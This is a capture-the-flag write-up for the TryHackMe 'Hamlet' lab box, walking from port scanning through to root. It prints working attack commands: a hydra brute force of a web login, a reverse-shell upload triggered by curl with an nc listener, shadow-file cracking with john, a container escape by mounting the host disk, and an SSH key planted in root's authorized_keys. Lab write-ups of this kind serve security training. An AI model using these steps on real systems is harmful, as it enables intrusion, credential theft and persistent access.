Challenge description
This one is a medium linux box.
Warning: be gentle on brute forcing, enumerating. It doesn’t support much load.
https://tryhackme.com/room/hamlet
Reconnaissance / Enumeration
Port scanning and service identification
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
$ rustscan -a $ip -r 1-65535 -- -A -sC
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
🌍HACK THE PLANET🌍
[...]
PORT STATE SERVICE REASON VERSION
21/tcp filtered ftp no-response
22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 a0:ef:4c:32:28:a6:4c:7f:60:d6:a6:63:32:ac:ab:27 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5/i3O28uWolhittypXr6mAEk+XOV998o/e/3wIWpGq9J1GhtGc3J4uwYpBt7SiS3mZivq9D5jgFhqhHb6zlBsQmGUnXUnQNYyqrBmGnyl4urp5IuV1sRCdNXQdt/lf6Z9A807OPuCkzkAexFUV28eXqdXpRsXXkqgkl5DCm2WEtV7yxPIbGlcmX+arDT9A5kGTZe9rNDdqzSafz0aVKRWoTHGHuqVmq0oPD3Cc3oYfoLu7GTJV+Cy6Hxs3s6oUVcruoi1JYvbxC9whexOr+NSZT9mGxDSDLS6jEMim2DQ+hNhiT49JXcMXhQ2nOYqBXLZF0OYyNKaGdgG35CIT40z
| 256 5a:6d:1a:39:97:00:be:c7:10:6e:36:5c:7f:ca:dc:b2 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHtt/3Q8agNKO48Zw3srosCs+bfCx47O+i4tBUX7VGMSpzTJQS3s4DBhGvrvO+d/u9B4e9ZBgWSqo+aDqGsTZxQ=
| 256 0b:77:40:b2:cc:30:8d:8e:45:51:fa:12:7c:e2:95:c7 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIN4jv01JeDGsDfhWIJMF8HBv26FI18VLpBeNoiSGbKVp
80/tcp open tcpwrapped syn-ack
|_http-title: Hamlet Annotation Project
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: lighttpd/1.4.45
8000/tcp filtered http-alt no-response
8080/tcp open http-proxy syn-ack
| http-title: WebAnno - Log in
|_Requested resource was http://hamlet.thm:8080/login.html
|_http-favicon: Spring Java Framework
| http-methods:
|_ Supported Methods: GET HEAD POST
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 500
| Content-Type: application/json;charset=UTF-8
| Date: Sat, 22 Jan 2022 19:13:27 GMT
| Connection: close
| {"timestamp":1642878807948,"status":500,"error":"Internal Server Error","exception":"org.springframework.security.web.firewall.RequestRejectedException","message":"The request was rejected because the URL contained a potentially malicious String "%2e"","path":"/nice%20ports%2C/Tri%6Eity.txt%2ebak"}
| GetRequest:
| HTTP/1.1 302
| Set-Cookie: JSESSIONID=919602F6E37908EE5B677B07809B78D9; Path=/; HttpOnly
| X-Content-Type-Options: nosniff
| X-XSS-Protection: 1; mode=block
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate
| Pragma: no-cache
| Expires: 0
| X-Frame-Options: SAMEORIGIN
| Location: http://localhost:8080/login.html
| Content-Length: 0
| Date: Sat, 22 Jan 2022 19:13:22 GMT
| Connection: close
| HTTPOptions:
| HTTP/1.1 302
| Set-Cookie: JSESSIONID=7AE9F6DEB1D6B509402799EAE9E4EBEC; Path=/; HttpOnly
| X-Content-Type-Options: nosniff
| X-XSS-Protection: 1; mode=block
| Cache-Control: no-cache, no-store, max-age=0, must-revalidate
| Pragma: no-cache
| Expires: 0
| X-Frame-Options: SAMEORIGIN
| Location: http://localhost:8080/login.html
| Content-Length: 0
| Date: Sat, 22 Jan 2022 19:13:22 GMT
| Connection: close
| RTSPRequest:
| HTTP/1.1 400
| Content-Type: text/html;charset=utf-8
| Content-Language: en
| Content-Length: 435
| Date: Sat, 22 Jan 2022 19:13:26 GMT
| Connection: close
| <!doctype html><html lang="en"><head><title>HTTP Status 400
| Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400
|_ Request</h1></body></html>
|_http-open-proxy: Proxy might be redirecting requests
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.92%I=7%D=1/22%Time=61EC5752%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,18F,"HTTP/1\.1\x20302\x20\r\nSet-Cookie:\x20JSESSIONID=919602F
SF:6E37908EE5B677B07809B78D9;\x20Path=/;\x20HttpOnly\r\nX-Content-Type-Opt
SF:ions:\x20nosniff\r\nX-XSS-Protection:\x201;\x20mode=block\r\nCache-Cont
SF:rol:\x20no-cache,\x20no-store,\x20max-age=0,\x20must-revalidate\r\nPrag
SF:ma:\x20no-cache\r\nExpires:\x200\r\nX-Frame-Options:\x20SAMEORIGIN\r\nL
SF:ocation:\x20http://localhost:8080/login\.html\r\nContent-Length:\x200\r
SF:\nDate:\x20Sat,\x2022\x20Jan\x202022\x2019:13:22\x20GMT\r\nConnection:\
SF:x20close\r\n\r\n")%r(HTTPOptions,18F,"HTTP/1\.1\x20302\x20\r\nSet-Cooki
SF:e:\x20JSESSIONID=7AE9F6DEB1D6B509402799EAE9E4EBEC;\x20Path=/;\x20HttpOn
SF:ly\r\nX-Content-Type-Options:\x20nosniff\r\nX-XSS-Protection:\x201;\x20
SF:mode=block\r\nCache-Control:\x20no-cache,\x20no-store,\x20max-age=0,\x2
SF:0must-revalidate\r\nPragma:\x20no-cache\r\nExpires:\x200\r\nX-Frame-Opt
SF:ions:\x20SAMEORIGIN\r\nLocation:\x20http://localhost:8080/login\.html\r
SF:\nContent-Length:\x200\r\nDate:\x20Sat,\x2022\x20Jan\x202022\x2019:13:2
SF:2\x20GMT\r\nConnection:\x20close\r\n\r\n")%r(RTSPRequest,24E,"HTTP/1\.1
SF:\x20400\x20\r\nContent-Type:\x20text/html;charset=utf-8\r\nContent-Lang
SF:uage:\x20en\r\nContent-Length:\x20435\r\nDate:\x20Sat,\x2022\x20Jan\x20
SF:2022\x2019:13:26\x20GMT\r\nConnection:\x20close\r\n\r\n<!doctype\x20htm
SF:l><html\x20lang=\"en\"><head><title>HTTP\x20Status\x20400\x20\xe2\x80\x
SF:93\x20Bad\x20Request</title><style\x20type=\"text/css\">body\x20{font-f
SF:amily:Tahoma,Arial,sans-serif;}\x20h1,\x20h2,\x20h3,\x20b\x20{color:whi
SF:te;background-color:#525D76;}\x20h1\x20{font-size:22px;}\x20h2\x20{font
SF:-size:16px;}\x20h3\x20{font-size:14px;}\x20p\x20{font-size:12px;}\x20a\
SF:x20{color:black;}\x20\.line\x20{height:1px;background-color:#525D76;bor
SF:der:none;}</style></head><body><h1>HTTP\x20Status\x20400\x20\xe2\x80\x9
SF:3\x20Bad\x20Request</h1></body></html>")%r(FourOhFourRequest,1A4,"HTTP/
SF:1\.1\x20500\x20\r\nContent-Type:\x20application/json;charset=UTF-8\r\nD
SF:ate:\x20Sat,\x2022\x20Jan\x202022\x2019:13:27\x20GMT\r\nConnection:\x20
SF:close\r\n\r\n{\"timestamp\":1642878807948,\"status\":500,\"error\":\"In
SF:ternal\x20Server\x20Error\",\"exception\":\"org\.springframework\.secur
SF:ity\.web\.firewall\.RequestRejectedException\",\"message\":\"The\x20req
SF:uest\x20was\x20rejected\x20because\x20the\x20URL\x20contained\x20a\x20p
SF:otentially\x20malicious\x20String\x20\\\"%2e\\\"\",\"path\":\"/nice%20p
SF:orts%2C/Tri%6Eity\.txt%2ebak\"}");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Let’s see what we got here:
- OpenSSH 7.6p1 running on port 22
- vsFTPd 3.0.3 running on port 21
- lighttpd/1.4.45 running on port 80
- Some web application named WebAnno running on port 8080
- Apache/2.4.48 running on port 8000
- Some unknown service running on port 501
FTP Enumeration
We can log on anonymously on the FTP server
We get access to two files:
- ufw.status
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
Status: active
To Action From
-- ------ ----
20/tcp ALLOW Anywhere
21/tcp ALLOW Anywhere
22/tcp ALLOW Anywhere
80/tcp ALLOW Anywhere
501/tcp ALLOW Anywhere
8080/tcp ALLOW Anywhere
8000/tcp ALLOW Anywhere
1603/tcp ALLOW Anywhere
1564/tcp ALLOW Anywhere
50000:50999/tcp ALLOW Anywhere
20/tcp (v6) ALLOW Anywhere (v6)
21/tcp (v6) ALLOW Anywhere (v6)
22/tcp (v6) ALLOW Anywhere (v6)
80/tcp (v6) ALLOW Anywhere (v6)
501/tcp (v6) ALLOW Anywhere (v6)
8080/tcp (v6) ALLOW Anywhere (v6)
8000/tcp (v6) ALLOW Anywhere (v6)
1603/tcp (v6) ALLOW Anywhere (v6)
1564/tcp (v6) ALLOW Anywhere (v6)
50000:50999/tcp (v6) ALLOW Anywhere (v6)
Looks like there’s a firewall active on the target and we have the list of open ports. Let’s keep that in mind and keep going.
- password-policy.md
1
2
3
4
5
6
7
8
# Password Policy
## WebAnno
New passwords should be:
- lowercase
- between 12 and 14 characters long
Port 501
I’ll be honest here, I didn’t do this one. I looked at the official walkthrough. Here’s the solution to the second flag anyway :
1
2
3
4
5
6
$ nc 10.10.245.164 501
GRAVEDIGGER
What do you call a person who builds stronger things than a stonemason, a shipbuilder, or a carpenter does?
PENTESTER
The one who builds the gallows to hang people on, since his structure outlives a thousand inhabitants.
THM{2_redacted}
Web Enumeration
Port 80
- index.html
- robots.txt
1
2
3
4
User-agent: *
Allow: /
THM{1_redacted}
Aaand we got the first flag
Port 8000
- index.html
The home page shows a text file inside an iframe. Source shows us the URI to the file :
http://hamlet.thm:8000/repository/project/0/document/0/source/hamlet.txt
Port 8080
This one is the actual WebAnno application. We first get to a login page. We’ll get back to it later.
Michael’s password
To answer the task 1 we must get “Michael’s password”. From http://hamlet.thm/index.html. We know that Michael’s username is ghost and that he’s obsessed with Hamlet and the vocabulary used by Shakespeare.
We also know the password policy for WebAnno from the file we got from the FTP server. With that in hands, let’s build a custom wordlist to bruteforce Michael’s password.
1
2
3
4
5
6
$ cewl --lowercase -m 12 -d 1 http://hamlet.thm | grep -E '.{,14}' > password.txt
$ hydra -l ghost -P ./password.txt hamlet.thm -s 8080 http-post-form "/login.html?-1.-loginForm:urlfragment=&username=^USER^&password=^PASS^:F=failed"
Hydra v9.2 (c) 2021 by van Hauser/THC & David Maciejak - Please do not use in military or secret service
[...]
[8080][http-post-form] host: hamlet.thm login: ghost password: (redacted)
We have the answer to task 1 and we can now login to WebAnno to begin exploring it.
Third flag && Fourth flag && Foothold
WebAnno exploration
Start by looking at the users list. We can see that we have admin privileges as ghost. There is another user named ophelia. Let’s abuse our privileges to change ophelia’s password and log into her account.
In the annotations section, open hamlet.txt and look at the annotations ophelia has created
This is ophelia’s password for FTP
Authenticated FTP enumeration
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
$ ftp 10.10.245.164
Connected to 10.10.245.164.
220 (vsFTPd 3.0.3)
Name (10.10.245.164:h3x): ophelia
331 Please specify the password.
Password:
230 Login successful.
ftp> ls
-rw-r--r-- 1 1001 1001 31 Sep 16 06:19 flag
ftp> get flag flag3
local: flag3 remote: flag
100% |************************************************************| 31 308.91 KiB/s 00:00 ETA
226 Transfer complete.
31 bytes received in 00:00 (0.10 KiB/s)
ftp> exit
# 3rd flag !
$ cat flag3
THM{3_redacted}
We can also get the 4th flag from the FTP :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ftp> ls /opt
drwx--x--x 4 0 0 4096 Sep 15 11:39 containerd
drwxr-xr-x 2 0 0 4096 Sep 15 14:46 stage
drwxr-xr-x 2 0 0 4096 Sep 15 14:46 web
ftp> ls /opt/stage
-rw-r--r-- 1 0 0 29 Sep 16 06:19 flag
ftp> cd /opt/stage
ftp> ls
-rw-r--r-- 1 0 0 29 Sep 16 06:19 flag
ftp> get flag flag4
local: flag4 remote: flag
100% |************************************************************| 29 283.20 KiB/s 00:00 ETA
226 Transfer complete.
29 bytes received in 00:00 (0.08 KiB/s)
ftp> exit
# 4th flag !
$ cat flag4
THM{4_redacted}
Next, we’re gonna explore the projects. There’s a Documents tab in which we can upload files. There are no restriction on the type of files we are able to upload. Let’s upload a PHP Reverse Shell. I used this one
Now we have to execute our shell. Remember that iframe with a text file inside ? This is the key to find where our shell has been uploaded.
1
2
3
4
5
6
7
8
9
10
11
12
$ nc -lnvp 4444
listening on [any] 4444 ...
$ curl http://hamlet.thm:8000/repository/project/0/document/1/source/shell.php
connect to [1.1.1.1] from (UNKNOWN) [10.10.245.164] 37388
SOCKET: Shell has connected! PID: 23
ls -la /
total 88
drwxr-xr-x 1 root root 4096 Sep 15 14:47 .
drwxr-xr-x 1 root root 4096 Sep 15 14:47 ..
-rwxr-xr-x 1 root root 0 Sep 15 14:47 .dockerenv
We have a foothold on the target as www-data and we’re inside a container.
Privilege Escalation
After checking the basic privilege escalation vectors, we can see that /bin/cat has the setuid bit :
1
2
3
4
5
6
7
8
9
10
find / -perm /4000 2>/dev/null
/bin/umount
/bin/mount
/bin/cat
/bin/su
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
Let’s abuse this to get the root password :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# on target
cat /etc/shadow
root:$y$j9T$.9s2wZRY3hcP/udKIFher1$sIBIYsiMmFlXhKOO4ZDJDXo54byuq7a4xAD0k9jw2m4:18885:0:99999:7:::
[...]
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
[...]
# on our machine
$ echo 'root:$y$j9T$.9s2wZRY3[...]q7a4xAD0k9jw2m4:18885:0:99999:7:::' > shadow
$ echo 'root:x:0:0:root:/root:/bin/bash' > passwd
$ unshadow ./passwd ./shadow > unshadowed
$ john --wordlist=/opt/wordlists/rockyou.txt ./unshadowed --format=crypt
Using default input encoding: UTF-8
Loaded 1 password hash (crypt, generic crypt(3) [?/64])
Cost 1 (algorithm [1:descrypt 2:md5crypt 3:sunmd5 4:bcrypt 5:sha256crypt 6:sha512crypt]) is 0 for all loaded hashes
Cost 2 (algorithm specific iterations) is 1 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
(REDACTED) (root)
1g 0:00:00:17 DONE (2022-01-24 13:37) 0.05611g/s 274.7p/s 274.7c/s 274.7C/s yessica..FUCKYOU
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
# back on target
su
Password: (redacted)
id
uid=0(root) gid=0(root) groups=0(root)
# while we are here, let's get the 5th flag
cd /root
ls -la
total 20
drwx------ 1 root root 4096 Sep 15 14:47 .
drwxr-xr-x 1 root root 4096 Sep 15 14:47 ..
-rw-r--r-- 1 root root 571 Apr 10 2021 .bashrc
-rw-r--r-- 1 root root 24 Sep 16 06:20 .flag
-rw-r--r-- 1 root root 161 Jul 9 2019 .profile
cat .flag
THM{5_redacted}
Container escape
Start by listing disks:
1
2
3
4
5
ls -la /dev | grep disk
crw-rw---- 1 root disk 10, 234 Jan 24 13:25 btrfs-control
brw-rw---- 1 root disk 253, 0 Jan 24 13:25 dm-0
crw-rw---- 1 root disk 10, 237 Jan 24 13:25 loop-control
[...]
Mount /dev/dm-0 to see what’s inside
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
mkdir /mnt/host
mount /dev/dm-0 /mnt/host
ls -l /mnt/host
total 4015216
drwxr-xr-x 2 root root 4096 Sep 15 11:24 bin
drwxr-xr-x 2 root root 4096 Sep 15 11:14 boot
drwxr-xr-x 2 root root 4096 Sep 15 11:15 cdrom
drwxr-xr-x 4 root root 4096 Aug 6 2020 dev
drwxr-xr-x 99 root root 4096 Sep 16 06:43 etc
drwxr-xr-x 5 root root 4096 Sep 15 14:41 home
lrwxrwxrwx 1 root root 34 Sep 15 11:16 initrd.img -> boot/initrd.img-4.15.0-156-generic
lrwxrwxrwx 1 root root 34 Sep 15 11:16 initrd.img.old -> boot/initrd.img-4.15.0-156-generic
drwxr-xr-x 23 root root 4096 Sep 15 11:39 lib
drwxr-xr-x 2 root root 4096 Aug 6 2020 lib64
drwx------ 2 root root 16384 Sep 15 11:14 lost+found
drwxr-xr-x 2 root root 4096 Aug 6 2020 media
drwxr-xr-x 3 root root 4096 Sep 15 14:43 mnt
drwxr-xr-x 5 root root 4096 Sep 15 14:46 opt
drwxr-xr-x 2 root root 4096 Apr 24 2018 proc
drwx------ 5 root root 4096 Sep 15 14:49 root
drwxr-xr-x 13 root root 4096 Aug 6 2020 run
drwxr-xr-x 2 root root 12288 Sep 15 11:39 sbin
drwxr-xr-x 2 root root 4096 Sep 15 11:31 snap
drwxr-xr-x 4 root root 4096 Sep 15 14:45 srv
-rw------- 1 root root 4111466496 Sep 15 11:16 swap.img
drwxr-xr-x 2 root root 4096 Apr 24 2018 sys
drwxrwxrwt 9 root root 4096 Jan 24 13:28 tmp
drwxr-xr-x 10 root root 4096 Aug 6 2020 usr
drwxr-xr-x 14 root root 4096 Sep 15 14:42 var
lrwxrwxrwx 1 root root 31 Sep 15 11:16 vmlinuz -> boot/vmlinuz-4.15.0-156-generic
lrwxrwxrwx 1 root root 31 Sep 15 11:16 vmlinuz.old -> boot/vmlinuz-4.15.0-156-generic
Now all we have to do is to add a public key to the root’s authorized_keys :
1
2
3
4
5
6
7
8
9
10
echo 'ssh-rsa AAAA[....]=' >> /mnt/host/root/.ssh/authorized_keys
$ ssh root@$ip -i ./id_rsa
root@hamlet:~# id && hostname
uid=0(root) gid=0(root) groups=0(root)
hamlet
root@hamlet:~# cat /root/flag
THM{6_redacted}
Thanks for reading <3
h3x